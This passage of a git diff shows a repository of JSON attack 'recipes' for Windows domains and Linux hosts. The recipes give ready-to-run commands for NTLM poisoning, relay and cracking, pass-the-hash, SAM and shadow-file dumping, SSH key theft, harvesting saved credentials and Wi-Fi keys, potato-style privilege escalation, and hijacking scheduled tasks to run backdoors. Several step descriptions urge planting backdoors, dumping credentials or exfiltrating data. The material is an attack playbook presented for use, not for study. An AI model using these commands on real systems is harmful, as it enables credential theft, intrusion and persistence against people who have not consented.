-ano; route print", + "description": "Interfaces, connections, routing." + }, + { + "index": 3, + "name": "Patch Level", + "command": "wmic qfe list", + "description": "Installed hotfixes." + } + ] } \ No newline at end of file diff --git a/recipes/netntlmv2-cracking.json b/recipes/netntlmv2-cracking.json old mode 100644 new mode 100755 index 9222c60..0ba825f --- a/recipes/netntlmv2-cracking.json +++ b/recipes/netntlmv2-cracking.json @@ -1,19 +1,19 @@ -{ - "name": "Net-NTLMv2 Hash Cracking", - "description": "Crack challenge-response hashes from network auth.", - "tools": [], - "steps": [ - { - "index": 1, - "name": "Capture with Responder", - "command": "responder -I eth0", - "description": "Poison and capture." - }, - { - "index": 2, - "name": "Hashcat Mode 5600", - "command": "hashcat -m 5600 netntlmv2.txt wordlist.txt", - "description": "Offline crack." - } - ] +{ + "name": "Net-NTLMv2 Hash Cracking", + "description": "Crack challenge-response hashes from network auth.", + "tools": [], + "steps": [ + { + "index": 1, + "name": "Capture with Responder", + "command": "responder -I eth0", + "description": "Poison and capture." + }, + { + "index": 2, + "name": "Hashcat Mode 5600", + "command": "hashcat -m 5600 netntlmv2.txt wordlist.txt", + "description": "Offline crack." + } + ] } \ No newline at end of file diff --git a/recipes/netntlmv2-relaying.json b/recipes/netntlmv2-relaying.json old mode 100644 new mode 100755 index 46e6aec..4e62dfa --- a/recipes/netntlmv2-relaying.json +++ b/recipes/netntlmv2-relaying.json @@ -1,25 +1,25 @@ -{ - "name": "Net-NTLMv2 Relay Attacks", - "description": "Relay captured hashes to authenticate elsewhere.", - "tools": [], - "steps": [ - { - "index": 1, - "name": "Start ntlmrelayx", - "command": "ntlmrelayx.py -t smb://target.com -smb-port 445", - "description": "Relay to SMB." - }, - { - "index": 2, - "name": "Trigger Auth", - "command": "responder -I eth0 --lm", - "description": "Force client to authenticate." - }, - { - "index": 3, - "name": "Execute Command", - "command": "ntlmrelayx.py -t smb://target -c \"whoami\"", - "description": "Run on relayed host." - } - ] +{ + "name": "Net-NTLMv2 Relay Attacks", + "description": "Relay captured hashes to authenticate elsewhere.", + "tools": [], + "steps": [ + { + "index": 1, + "name": "Start ntlmrelayx", + "command": "ntlmrelayx.py -t smb://target.com -smb-port 445", + "description": "Relay to SMB." + }, + { + "index": 2, + "name": "Trigger Auth", + "command": "responder -I eth0 --lm", + "description": "Force client to authenticate." + }, + { + "index": 3, + "name": "Execute Command", + "command": "ntlmrelayx.py -t smb://target -c \"whoami\"", + "description": "Run on relayed host." + } + ] } \ No newline at end of file diff --git a/recipes/network-share-scanning.json b/recipes/network-share-scanning.json old mode 100644 new mode 100755 index d597d6b..6a0a1ad --- a/recipes/network-share-scanning.json +++ b/recipes/network-share-scanning.json @@ -1,25 +1,25 @@ -{ - "name": "Domain File Share Enumeration", - "description": "Identify accessible file shares across the environment.", - "tools": [], - "steps": [ - { - "index": 1, - "name": "PowerView Share Hunt", - "command": "Find-DomainShare -CheckAccess | Select ComputerName,ShareName,Remark", - "description": "List readable shares." - }, - { - "index": 2, - "name": "Manual Host Scan", - "command": "net view \\\\TARGET | findstr /i \"Disk\"", - "description": "Check shares on a specific system." - }, - { - "index": 3, - "name": "SMB Enumeration", - "command": "Get-SmbShare -Server (Get-ADComputer -Filter {OperatingSystem -like \"*Server*\"} | Select -First 10 -Expand Name)", - "description": "Query server-class systems." - } - ] +{ + "name": "Domain File Share Enumeration", + "description": "Identify accessible file shares across the environment.", + "tools": [], + "steps": [ + { + "index": 1, + "name": "PowerView Share Hunt", + "command": "Find-DomainShare -CheckAccess | Select ComputerName,ShareName,Remark", + "description": "List readable shares." + }, + { + "index": 2, + "name": "Manual Host Scan", + "command": "net view \\\\TARGET | findstr /i \"Disk\"", + "description": "Check shares on a specific system." + }, + { + "index": 3, + "name": "SMB Enumeration", + "command": "Get-SmbShare -Server (Get-ADComputer -Filter {OperatingSystem -like \"*Server*\"} | Select -First 10 -Expand Name)", + "description": "Query server-class systems." + } + ] } \ No newline at end of file diff --git a/recipes/nmap-port-scanning.json b/recipes/nmap-port-scanning.json old mode 100644 new mode 100755 index 24e8d52..ebd7aaa --- a/recipes/nmap-port-scanning.json +++ b/recipes/nmap-port-scanning.json @@ -1,25 +1,25 @@ -{ - "name": "Advanced Port Scanning with Nmap", - "description": "Perform targeted and stealthy service discovery.", - "tools": [], - "steps": [ - { - "index": 1, - "name": "Quick Scan", - "command": "nmap -F --top-ports 100 target.com", - "description": "Fast scan of common ports." - }, - { - "index": 2, - "name": "Version Detection", - "command": "nmap -sV -p 22,445,3389 target.com", - "description": "Identify service versions." - }, - { - "index": 3, - "name": "Script Scan", - "command": "nmap -sC -p- target.com", - "description": "Run default NSE scripts." - } - ] +{ + "name": "Advanced Port Scanning with Nmap", + "description": "Perform targeted and stealthy service discovery.", + "tools": [], + "steps": [ + { + "index": 1, + "name": "Quick Scan", + "command": "nmap -F --top-ports 100 target.com", + "description": "Fast scan of common ports." + }, + { + "index": 2, + "name": "Version Detection", + "command": "nmap -sV -p 22,445,3389 target.com", + "description": "Identify service versions." + }, + { + "index": 3, + "name": "Script Scan", + "command": "nmap -sC -p- target.com", + "description": "Run default NSE scripts." + } + ] } \ No newline at end of file diff --git a/recipes/ntlm-cracking.json b/recipes/ntlm-cracking.json old mode 100644 new mode 100755 index 6d9a8cb..0a4e171 --- a/recipes/ntlm-cracking.json +++ b/recipes/ntlm-cracking.json @@ -1,25 +1,25 @@ -{ - "name": "NTLM Hash Cracking", - "description": "Recover plaintext from captured NTLM hashes.", - "tools": [], - "steps": [ - { - "index": 1, - "name": "Extract from SAM", - "command": "reg save HKLM\\SAM sam; reg save HKLM\\SYSTEM system", - "description": "Dump hives." - }, - { - "index": 2, - "name": "secretsdump", - "command": "secretsdump.py -sam sam -system system LOCAL", - "description": "Extract NTLM hashes." - }, - { - "index": 3, - "name": "Hashcat", - "command": "hashcat -m 1000 hashes.txt wordlist.txt", - "description": "Crack NTLM." - } - ] +{ + "name": "NTLM Hash Cracking", + "description": "Recover plaintext from captured NTLM hashes.", + "tools": [], + "steps": [ + { + "index": 1, + "name": "Extract from SAM", + "command": "reg save HKLM\\SAM sam; reg save HKLM\\SYSTEM system", + "description": "Dump hives." + }, + { + "index": 2, + "name": "secretsdump", + "command": "secretsdump.py -sam sam -system system LOCAL", + "description": "Extract NTLM hashes." + }, + { + "index": 3, + "name": "Hashcat", + "command": "hashcat -m 1000 hashes.txt wordlist.txt", + "description": "Crack NTLM." + } + ] } \ No newline at end of file diff --git a/recipes/ntlm-hash-auth.json b/recipes/ntlm-hash-auth.json old mode 100644 new mode 100755 index c88cea5..c823786 --- a/recipes/ntlm-hash-auth.json +++ b/recipes/ntlm-hash-auth.json @@ -1,19 +1,19 @@ -{ - "name": "Hash-Based Authentication (PtH)", - "description": "Authenticate to services using NTLM hashes instead of passwords.", - "tools": [], - "steps": [ - { - "index": 1, - "name": "WMI with Hash", - "command": "wmic /node:TARGET /user:admin /password:aad3b435b51404eeaad3b435b51404ee:NTLMHASH process call create \"cmd\"", - "description": "Direct hash usage." - }, - { - "index": 2, - "name": "Impacket WMI Exec", - "command": "wmiexec.py -hashes :NTLMHASH corp/admin@TARGET whoami", - "description": "Semi-interactive shell." - } - ] +{ + "name": "Hash-Based Authentication (PtH)", + "description": "Authenticate to services using NTLM hashes instead of passwords.", + "tools": [], + "steps": [ + { + "index": 1, + "name": "WMI with Hash", + "command": "wmic /node:TARGET /user:admin /password:aad3b435b51404eeaad3b435b51404ee:NTLMHASH process call create \"cmd\"", + "description": "Direct hash usage." + }, + { + "index": 2, + "name": "Impacket WMI Exec", + "command": "wmiexec.py -hashes :NTLMHASH corp/admin@TARGET whoami", + "description": "Semi-interactive shell." + } + ] } \ No newline at end of file diff --git a/recipes/ntlm-passing.json b/recipes/ntlm-passing.json old mode 100644 new mode 100755 index 41b7d25..908a4ff --- a/recipes/ntlm-passing.json +++ b/recipes/ntlm-passing.json @@ -1,19 +1,19 @@ -{ - "name": "Pass-the-Hash (NTLM)", - "description": "Authenticate using NTLM hash without password.", - "tools": [], - "steps": [ - { - "index": 1, - "name": "PTH with wmiexec", - "command": "wmiexec.py -hashes :NTLMHASH domain/user@target", - "description": "Semi-interactive shell." - }, - { - "index": 2, - "name": "PsExec", - "command": "psexec.py -hashes :NTLMHASH domain/user@target", - "description": "Full command execution." - } - ] +{ + "name": "Pass-the-Hash (NTLM)", + "description": "Authenticate using NTLM hash without password.", + "tools": [], + "steps": [ + { + "index": 1, + "name": "PTH with wmiexec", + "command": "wmiexec.py -hashes :NTLMHASH domain/user@target", + "description": "Semi-interactive shell." + }, + { + "index": 2, + "name": "PsExec", + "command": "psexec.py -hashes :NTLMHASH domain/user@target", + "description": "Full command execution." + } + ] } \ No newline at end of file diff --git a/recipes/ntlm-relay-attack.json b/recipes/ntlm-relay-attack.json old mode 100644 new mode 100755 index e9e94fd..3783109 --- a/recipes/ntlm-relay-attack.json +++ b/recipes/ntlm-relay-attack.json @@ -1,25 +1,25 @@ -{ - "name": "NTLM Credential Capture & Relay", - "description": "Force and intercept NTLM authentication for relay or cracking.", - "tools": [], - "steps": [ - { - "index": 1, - "name": "Trigger Auth", - "command": "runas /netonly /user:corp\\user cmd.exe", - "description": "Prompt NTLM challenge." - }, - { - "index": 2, - "name": "Poison & Capture", - "command": "responder -I eth0 -A", - "description": "Analyze only; capture hashes." - }, - { - "index": 3, - "name": "Offline Crack", - "command": "hashcat -m 5600 captured.txt wordlist.txt", - "description": "Recover plaintext from Net-NTLMv2." - } - ] +{ + "name": "NTLM Credential Capture & Relay", + "description": "Force and intercept NTLM authentication for relay or cracking.", + "tools": [], + "steps": [ + { + "index": 1, + "name": "Trigger Auth", + "command": "runas /netonly /user:corp\\user cmd.exe", + "description": "Prompt NTLM challenge." + }, + { + "index": 2, + "name": "Poison & Capture", + "command": "responder -I eth0 -A", + "description": "Analyze only; capture hashes." + }, + { + "index": 3, + "name": "Offline Crack", + "command": "hashcat -m 5600 captured.txt wordlist.txt", + "description": "Recover plaintext from Net-NTLMv2." + } + ] } \ No newline at end of file diff --git a/recipes/os-fingerprinting-domain.json b/recipes/os-fingerprinting-domain.json old mode 100644 new mode 100755 diff --git a/recipes/password-auth-abuse.json b/recipes/password-auth-abuse.json old mode 100644 new mode 100755 index 71e2ec4..88074ad --- a/recipes/password-auth-abuse.json +++ b/recipes/password-auth-abuse.json @@ -1,25 +1,25 @@ -{ - "name": "Password Authentication Weaknesses", - "description": "Exploit weak or exposed password auth mechanisms.", - "tools": [], - "steps": [ - { - "index": 1, - "name": "SSH Key Theft", - "command": "cat ~/.ssh/id_rsa; find / -name id_rsa 2>/dev/null", - "description": "Steal private keys." - }, - { - "index": 2, - "name": "PAM Config", - "command": "cat /etc/pam.d/sshd | grep password", - "description": "Check password policy enforcement." - }, - { - "index": 3, - "name": "Shadow File", - "command": "cat /etc/shadow 2>/dev/null || unshadow /etc/passwd /etc/shadow > hashes", - "description": "Extract hashes if readable." - } - ] +{ + "name": "Password Authentication Weaknesses", + "description": "Exploit weak or exposed password auth mechanisms.", + "tools": [], + "steps": [ + { + "index": 1, + "name": "SSH Key Theft", + "command": "cat ~/.ssh/id_rsa; find / -name id_rsa 2>/dev/null", + "description": "Steal private keys." + }, + { + "index": 2, + "name": "PAM Config", + "command": "cat /etc/pam.d/sshd | grep password", + "description": "Check password policy enforcement." + }, + { + "index": 3, + "name": "Shadow File", + "command": "cat /etc/shadow 2>/dev/null || unshadow /etc/passwd /etc/shadow > hashes", + "description": "Extract hashes if readable." + } + ] } \ No newline at end of file diff --git a/recipes/port-scanning-theory.json b/recipes/port-scanning-theory.json old mode 100644 new mode 100755 index 4c7c307..ea7d646 --- a/recipes/port-scanning-theory.json +++ b/recipes/port-scanning-theory.json @@ -1,25 +1,25 @@ -{ - "name": "TCP/UDP Port Scanning Fundamentals", - "description": "Understand scan types and evasion techniques.", - "tools": [], - "steps": [ - { - "index": 1, - "name": "TCP SYN Scan", - "command": "nmap -sS target.com", - "description": "Stealth half-open scan." - }, - { - "index": 2, - "name": "UDP Scan", - "command": "nmap -sU target.com", - "description": "Probe UDP services." - }, - { - "index": 3, - "name": "Evasion: Fragmentation", - "command": "nmap -f -D RND:10 target.com", - "description": "Split packets and decoy scans." - } - ] +{ + "name": "TCP/UDP Port Scanning Fundamentals", + "description": "Understand scan types and evasion techniques.", + "tools": [], + "steps": [ + { + "index": 1, + "name": "TCP SYN Scan", + "command": "nmap -sS target.com", + "description": "Stealth half-open scan." + }, + { + "index": 2, + "name": "UDP Scan", + "command": "nmap -sU target.com", + "description": "Probe UDP services." + }, + { + "index": 3, + "name": "Evasion: Fragmentation", + "command": "nmap -f -D RND:10 target.com", + "description": "Split packets and decoy scans." + } + ] } \ No newline at end of file diff --git a/recipes/powershell-info-goldmine.json b/recipes/powershell-info-goldmine.json old mode 100644 new mode 100755 index 42d6da0..3401730 --- a/recipes/powershell-info-goldmine.json +++ b/recipes/powershell-info-goldmine.json @@ -1,31 +1,31 @@ -{ - "name": "PowerShell Information Harvesting", - "description": "Extract credentials, history, and system data using PowerShell.", - "tools": [], - "steps": [ - { - "index": 1, - "name": "Command History", - "command": "Get-Content (Get-PSReadLineOption).HistorySavePath", - "description": "Retrieve PowerShell console history." - }, - { - "index": 2, - "name": "Saved Credentials", - "command": "cmdkey /list; Get-StoredCredential | Select Name,UserName,Password", - "description": "List Windows and PowerShell saved creds." - }, - { - "index": 3, - "name": "DPAPI Master Keys", - "command": "dir \"$env:APPDATA\\Microsoft\\Protect\\\" -Recurse | ? {!$_.PSIsContainer}", - "description": "Locate user DPAPI keys for offline decryption." - }, - { - "index": 4, - "name": "Wi-Fi Profiles", - "command": "netsh wlan show profiles | Select-String \"All User Profile\" | %{$_.ToString().Split(':')[1].Trim()} | %{netsh wlan show profile name=$_ key=clear}", - "description": "Extract SSID and cleartext keys." - } - ] +{ + "name": "PowerShell Information Harvesting", + "description": "Extract credentials, history, and system data using PowerShell.", + "tools": [], + "steps": [ + { + "index": 1, + "name": "Command History", + "command": "Get-Content (Get-PSReadLineOption).HistorySavePath", + "description": "Retrieve PowerShell console history." + }, + { + "index": 2, + "name": "Saved Credentials", + "command": "cmdkey /list; Get-StoredCredential | Select Name,UserName,Password", + "description": "List Windows and PowerShell saved creds." + }, + { + "index": 3, + "name": "DPAPI Master Keys", + "command": "dir \"$env:APPDATA\\Microsoft\\Protect\\\" -Recurse | ? {!$_.PSIsContainer}", + "description": "Locate user DPAPI keys for offline decryption." + }, + { + "index": 4, + "name": "Wi-Fi Profiles", + "command": "netsh wlan show profiles | Select-String \"All User Profile\" | %{$_.ToString().Split(':')[1].Trim()} | %{netsh wlan show profile name=$_ key=clear}", + "description": "Extract SSID and cleartext keys." + } + ] } \ No newline at end of file diff --git a/recipes/print-spoofer.json b/recipes/print-spoofer.json old mode 100644 new mode 100755 index 401bdb3..8c02c2f --- a/recipes/print-spoofer.json +++ b/recipes/print-spoofer.json @@ -1,31 +1,31 @@ -{ - "name": "Windows Privilege Escalation with PrintSpoofer", - "description": "Exploit the Print Spooler service via named pipes and impersonation to escalate privileges, similar to potato techniques but targeted at spoolss.", - "tools": [ - { - "name": "PrintSpoofer", - "description": "Tool for impersonating tokens through Print Spooler RPC calls for local privilege escalation", - "url": "https://github.com/itm4n/PrintSpoofer" - } - ], - "steps": [ - { - "index": 1, - "name": "Download PrintSpoofer", - "command": "git clone https://github.com/itm4n/PrintSpoofer.git; cd PrintSpoofer; Build PrintSpoofer64.exe", - "description": "Clone the repo, compile the C# project for x64 (or x86), and copy to the target." - }, - { - "index": 2, - "name": "Execute PrintSpoofer", - "command": "./PrintSpoofer64.exe -i -c \"cmd.exe /c whoami > C:\\temp\\elevated.txt\"", - "description": "Run with interactive mode (-i) to spawn an elevated shell via spooler impersonation, using the command flag for payload." - }, - { - "index": 3, - "name": "Validate Escalation", - "command": "type C:\\temp\\elevated.txt; whoami /priv", - "description": "Check output for SYSTEM; use the elevated context for further enumeration or exploitation." - } - ] +{ + "name": "Windows Privilege Escalation with PrintSpoofer", + "description": "Exploit the Print Spooler service via named pipes and impersonation to escalate privileges, similar to potato techniques but targeted at spoolss.", + "tools": [ + { + "name": "PrintSpoofer", + "description": "Tool for impersonating tokens through Print Spooler RPC calls for local privilege escalation", + "url": "https://github.com/itm4n/PrintSpoofer" + } + ], + "steps": [ + { + "index": 1, + "name": "Download PrintSpoofer", + "command": "git clone https://github.com/itm4n/PrintSpoofer.git; cd PrintSpoofer; Build PrintSpoofer64.exe", + "description": "Clone the repo, compile the C# project for x64 (or x86), and copy to the target." + }, + { + "index": 2, + "name": "Execute PrintSpoofer", + "command": "./PrintSpoofer64.exe -i -c \"cmd.exe /c whoami > C:\\temp\\elevated.txt\"", + "description": "Run with interactive mode (-i) to spawn an elevated shell via spooler impersonation, using the command flag for payload." + }, + { + "index": 3, + "name": "Validate Escalation", + "command": "type C:\\temp\\elevated.txt; whoami /priv", + "description": "Check output for SYSTEM; use the elevated context for further enumeration or exploitation." + } + ] } \ No newline at end of file diff --git a/recipes/priv-esc-with-winpeas.json b/recipes/priv-esc-with-winpeas.json old mode 100644 new mode 100755 index 74bee0a..1576850 --- a/recipes/priv-esc-with-winpeas.json +++ b/recipes/priv-esc-with-winpeas.json @@ -1,31 +1,31 @@ -{ - "name": "Windows Privilege Escalation Enumeration with WinPEAS", - "description": "Run WinPEAS to scan a Windows system for misconfigurations and vulnerabilities that enable privilege escalation.", - "tools": [ - { - "name": "WinPEAS", - "description": "Automated enumeration script for Windows privilege escalation vectors", - "url": "https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS" - } - ], - "steps": [ - { - "index": 1, - "name": "Download and Prepare WinPEAS", - "command": "git clone https://github.com/carlospolop/PEASS-ng.git; cd PEASS-ng/winPEASx64; ./winPEASx64.exe", - "description": "Clone the repository and execute the appropriate WinPEAS binary (x64 or x86) on the target system." - }, - { - "index": 2, - "name": "Run Full Enumeration", - "command": "./winPEASx64.exe -t everything", - "description": "Execute WinPEAS with full checks to identify services, scheduled tasks, file permissions, and other potential priv esc opportunities." - }, - { - "index": 3, - "name": "Analyze Output", - "command": "Review winPEASlooter.sh output files (e.g., allChecks.txt)", - "description": "Examine highlighted sections for exploitable issues like unquoted service paths, writable service binaries, or weak ACLs, then exploit accordingly." - } - ] +{ + "name": "Windows Privilege Escalation Enumeration with WinPEAS", + "description": "Run WinPEAS to scan a Windows system for misconfigurations and vulnerabilities that enable privilege escalation.", + "tools": [ + { + "name": "WinPEAS", + "description": "Automated enumeration script for Windows privilege escalation vectors", + "url": "https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS" + } + ], + "steps": [ + { + "index": 1, + "name": "Download and Prepare WinPEAS", + "command": "git clone https://github.com/carlospolop/PEASS-ng.git; cd PEASS-ng/winPEASx64; ./winPEASx64.exe", + "description": "Clone the repository and execute the appropriate WinPEAS binary (x64 or x86) on the target system." + }, + { + "index": 2, + "name": "Run Full Enumeration", + "command": "./winPEASx64.exe -t everything", + "description": "Execute WinPEAS with full checks to identify services, scheduled tasks, file permissions, and other potential priv esc opportunities." + }, + { + "index": 3, + "name": "Analyze Output", + "command": "Review winPEASlooter.sh output files (e.g., allChecks.txt)", + "description": "Examine highlighted sections for exploitable issues like unquoted service paths, writable service binaries, or weak ACLs, then exploit accordingly." + } + ] } \ No newline at end of file diff --git a/recipes/psexec-lateral.json b/recipes/psexec-lateral.json old mode 100644 new mode 100755 index 3f19c10..356e4eb --- a/recipes/psexec-lateral.json +++ b/recipes/psexec-lateral.json @@ -1,19 +1,19 @@ -{ - "name": "Remote Process Execution with PsExec", - "description": "Classic lateral movement using Sysinternals or Impacket PsExec.", - "tools": [], - "steps": [ - { - "index": 1, - "name": "Sysinternals PsExec", - "command": "psexec \\\\TARGET -u corp\\user -p password cmd /c whoami", - "description": "Standard credential-based execution." - }, - { - "index": 2, - "name": "Impacket PsExec", - "command": "psexec.py corp/user@TARGET -hashes :NTLMHASH", - "description": "Passwordless with hash." - } - ] +{ + "name": "Remote Process Execution with PsExec", + "description": "Classic lateral movement using Sysinternals or Impacket PsExec.", + "tools": [], + "steps": [ + { + "index": 1, + "name": "Sysinternals PsExec", + "command": "psexec \\\\TARGET -u corp\\user -p password cmd /c whoami", + "description": "Standard credential-based execution." + }, + { + "index": 2, + "name": "Impacket PsExec", + "command": "psexec.py corp/user@TARGET -hashes :NTLMHASH", + "description": "Passwordless with hash." + } + ] } \ No newline at end of file diff --git a/recipes/rc4-to-kerberos-tgt.json b/recipes/rc4-to-kerberos-tgt.json old mode 100644 new mode 100755 index fbf97b8..ff75e25 --- a/recipes/rc4-to-kerberos-tgt.json +++ b/recipes/rc4-to-kerberos-tgt.json @@ -1,19 +1,19 @@ -{ - "name": "NTLM to Kerberos Ticket Conversion", - "description": "Upgrade an NTLM hash to a usable Kerberos TGT.", - "tools": [], - "steps": [ - { - "index": 1, - "name": "Rubeus TGT Request", - "command": "Rubeus.exe asktgt /user:admin /rc4:NTLMHASH /ptt", - "description": "Obtain and inject TGT." - }, - { - "index": 2, - "name": "Mimikatz Over-PtH", - "command": "sekurlsa::pth /user:admin /domain:corp.local /ntlm:NTLMHASH /run:powershell.exe", - "description": "Spawn process under new token." - } - ] +{ + "name": "NTLM to Kerberos Ticket Conversion", + "description": "Upgrade an NTLM hash to a usable Kerberos TGT.", + "tools": [], + "steps": [ + { + "index": 1, + "name": "Rubeus TGT Request", + "command": "Rubeus.exe asktgt /user:admin /rc4:NTLMHASH /ptt", + "description": "Obtain and inject TGT." + }, + { + "index": 2, + "name": "Mimikatz Over-PtH", + "command": "sekurlsa::pth /user:admin /domain:corp.local /ntlm:NTLMHASH /run:powershell.exe", + "description": "Spawn process under new token." + } + ] } \ No newline at end of file diff --git a/recipes/remote-execution-wmi-winrm.json b/recipes/remote-execution-wmi-winrm.json old mode 100644 new mode 100755 index 61b37da..6cda5fc --- a/recipes/remote-execution-wmi-winrm.json +++ b/recipes/remote-execution-wmi-winrm.json @@ -1,25 +1,25 @@ -{ - "name": "Remote Code Execution via WMI & WinRM", - "description": "Achieve lateral movement using built-in remote management protocols.", - "tools": [], - "steps": [ - { - "index": 1, - "name": "WMI Command", - "command": "wmic /node:TARGET process call create \"cmd /c whoami > C:\\temp\\proof.txt\"", - "description": "Execute via WMI." - }, - { - "index": 2, - "name": "WinRM Session", - "command": "Enter-PSSession -ComputerName TARGET -Credential corp\\user", - "description": "Interactive PowerShell remoting." - }, - { - "index": 3, - "name": "External WinRM Shell", - "command": "evil-winrm -i TARGET -u user -p password", - "description": "Third-party WinRM client." - } - ] +{ + "name": "Remote Code Execution via WMI & WinRM", + "description": "Achieve lateral movement using built-in remote management protocols.", + "tools": [], + "steps": [ + { + "index": 1, + "name": "WMI Command", + "command": "wmic /node:TARGET process call create \"cmd /c whoami > C:\\temp\\proof.txt\"", + "description": "Execute via WMI." + }, + { + "index": 2, + "name": "WinRM Session", + "command": "Enter-PSSession -ComputerName TARGET -Credential corp\\user", + "description": "Interactive PowerShell remoting." + }, + { + "index": 3, + "name": "External WinRM Shell", + "command": "evil-winrm -i TARGET -u user -p password", + "description": "Third-party WinRM client." + } + ] } \ No newline at end of file diff --git a/recipes/rotten-potato.json b/recipes/rotten-potato.json old mode 100644 new mode 100755 index 7360d62..437a766 --- a/recipes/rotten-potato.json +++ b/recipes/rotten-potato.json @@ -1,31 +1,31 @@ -{ - "name": "Windows Privilege Escalation with Rotten Potato", - "description": "Exploit DCOM/RPC vulnerabilities to escalate privileges by manipulating access tokens in Windows environments with SeImpersonatePrivilege.", - "tools": [ - { - "name": "RottenPotato", - "description": "Classic potato exploit using DCOM activation for token duplication and impersonation", - "url": "https://github.com/foxglovesec/RottenPotato" - } - ], - "steps": [ - { - "index": 1, - "name": "Download and Build RottenPotato", - "command": "git clone https://github.com/foxglovesec/RottenPotato.git; Open RottenPotato.sln in Visual Studio and build for x86/x64", - "description": "Clone the repository, compile the C++ project, and transfer the resulting executable to the target Windows system." - }, - { - "index": 2, - "name": "Execute RottenPotato", - "command": "./RottenPotato.exe -r 127.0.0.1 -c {F7A9F0E0-17A6-4F33-9F0E-0B7A9F0E0-17A} -l 135 -p cmd.exe /c whoami", - "description": "Run from a medium integrity process with SeImpersonatePrivilege, using loopback IP, a vulnerable CLSID (e.g., for DCOM), local port, and payload command to spawn an elevated process." - }, - { - "index": 3, - "name": "Verify Escalation Success", - "command": "Use whoami /priv or Process Explorer to check for SYSTEM privileges", - "description": "Confirm the payload executes with high integrity; if successful, proceed to add backdoors or dump credentials." - } - ] +{ + "name": "Windows Privilege Escalation with Rotten Potato", + "description": "Exploit DCOM/RPC vulnerabilities to escalate privileges by manipulating access tokens in Windows environments with SeImpersonatePrivilege.", + "tools": [ + { + "name": "RottenPotato", + "description": "Classic potato exploit using DCOM activation for token duplication and impersonation", + "url": "https://github.com/foxglovesec/RottenPotato" + } + ], + "steps": [ + { + "index": 1, + "name": "Download and Build RottenPotato", + "command": "git clone https://github.com/foxglovesec/RottenPotato.git; Open RottenPotato.sln in Visual Studio and build for x86/x64", + "description": "Clone the repository, compile the C++ project, and transfer the resulting executable to the target Windows system." + }, + { + "index": 2, + "name": "Execute RottenPotato", + "command": "./RottenPotato.exe -r 127.0.0.1 -c {F7A9F0E0-17A6-4F33-9F0E-0B7A9F0E0-17A} -l 135 -p cmd.exe /c whoami", + "description": "Run from a medium integrity process with SeImpersonatePrivilege, using loopback IP, a vulnerable CLSID (e.g., for DCOM), local port, and payload command to spawn an elevated process." + }, + { + "index": 3, + "name": "Verify Escalation Success", + "command": "Use whoami /priv or Process Explorer to check for SYSTEM privileges", + "description": "Confirm the payload executes with high integrity; if successful, proceed to add backdoors or dump credentials." + } + ] } \ No newline at end of file diff --git a/recipes/rouge-potato.json b/recipes/rouge-potato.json old mode 100644 new mode 100755 index 20932a6..d792b68 --- a/recipes/rouge-potato.json +++ b/recipes/rouge-potato.json @@ -1,31 +1,31 @@ -{ - "name": "Windows Privilege Escalation with Rogue Potato", - "description": "Exploit local RPC with custom endpoints to impersonate tokens and escalate without DCOM, targeting Windows 10+ mitigations.", - "tools": [ - { - "name": "RoguePotato", - "description": "RPC-based potato using rogue named pipes and CoGetCallContext for impersonation", - "url": "https://github.com/antonioCoco/RoguePotato" - } - ], - "steps": [ - { - "index": 1, - "name": "Download RoguePotato", - "command": "git clone https://github.com/antonioCoco/RoguePotato.git; cd RoguePotato; Build RoguePotato.exe", - "description": "Clone the repo, compile using Visual Studio, and prepare the binary for the target architecture." - }, - { - "index": 2, - "name": "Execute RoguePotato", - "command": "./RoguePotato.exe -r -e -a \"\"", - "description": "Run with a reachable RPC endpoint (e.g., spoolss), the target executable (e.g., cmd.exe), and arguments for the elevated payload." - }, - { - "index": 3, - "name": "Verify and Exploit", - "command": "Check with tasklist or whoami in the new process", - "description": "Ensure the impersonated token leads to SYSTEM; proceed with lateral movement or data exfiltration." - } - ] +{ + "name": "Windows Privilege Escalation with Rogue Potato", + "description": "Exploit local RPC with custom endpoints to impersonate tokens and escalate without DCOM, targeting Windows 10+ mitigations.", + "tools": [ + { + "name": "RoguePotato", + "description": "RPC-based potato using rogue named pipes and CoGetCallContext for impersonation", + "url": "https://github.com/antonioCoco/RoguePotato" + } + ], + "steps": [ + { + "index": 1, + "name": "Download RoguePotato", + "command": "git clone https://github.com/antonioCoco/RoguePotato.git; cd RoguePotato; Build RoguePotato.exe", + "description": "Clone the repo, compile using Visual Studio, and prepare the binary for the target architecture." + }, + { + "index": 2, + "name": "Execute RoguePotato", + "command": "./RoguePotato.exe -r -e -a \"\"", + "description": "Run with a reachable RPC endpoint (e.g., spoolss), the target executable (e.g., cmd.exe), and arguments for the elevated payload." + }, + { + "index": 3, + "name": "Verify and Exploit", + "command": "Check with tasklist or whoami in the new process", + "description": "Ensure the impersonated token leads to SYSTEM; proceed with lateral movement or data exfiltration." + } + ] } \ No newline at end of file diff --git a/recipes/scheduled-task-abuse.json b/recipes/scheduled-task-abuse.json old mode 100644 new mode 100755 index 2dc744c..dd85f35 --- a/recipes/scheduled-task-abuse.json +++ b/recipes/scheduled-task-abuse.json @@ -1,25 +1,25 @@ -{ - "name": "Scheduled Task Persistence & Execution", - "description": "Create or modify scheduled tasks for code execution.", - "tools": [], - "steps": [ - { - "index": 1, - "name": "List Tasks", - "command": "schtasks /query /fo LIST /v", - "description": "Enumerate all scheduled tasks." - }, - { - "index": 2, - "name": "Create Malicious Task", - "command": "schtasks /create /sc hourly /tn \"UpdateCheck\" /tr \"C:\\temp\\evil.exe\" /ru SYSTEM", - "description": "Run as SYSTEM every hour." - }, - { - "index": 3, - "name": "Modify Existing Task", - "command": "schtasks /change /tn \"OldTask\" /tr \"C:\\temp\\backdoor.exe\"", - "description": "Hijack legitimate task." - } - ] +{ + "name": "Scheduled Task Persistence & Execution", + "description": "Create or modify scheduled tasks for code execution.", + "tools": [], + "steps": [ + { + "index": 1, + "name": "List Tasks", + "command": "schtasks /query /fo LIST /v", + "description": "Enumerate all scheduled tasks." + }, + { + "index": 2, + "name": "Create Malicious Task", + "command": "schtasks /create /sc hourly /tn \"UpdateCheck\" /tr \"C:\\temp\\evil.exe\" /ru SYSTEM", + "description": "Run as SYSTEM every hour." + }, + { + "index": 3, + "name": "Modify Existing Task", + "command": "schtasks /change /tn \"OldTask\" /tr \"C:\\temp\\backdoor.exe\"", + "description": "Hijack legitimate task." + } + ] } \ No newline at end of file diff --git a/recipes/service-binary-hijack.json b/recipes/service-binary-hijack.json old mode 100644 new mode 100755 index c7e366a..8886214 --- a/recipes/service-binary-hijack.json +++ b/recipes/service-binary-hijack.json @@ -1,25 +1,25 @@ -{ - "name": "Service Binary Replacement", - "description": "Replace legitimate service executable with malicious payload.", - 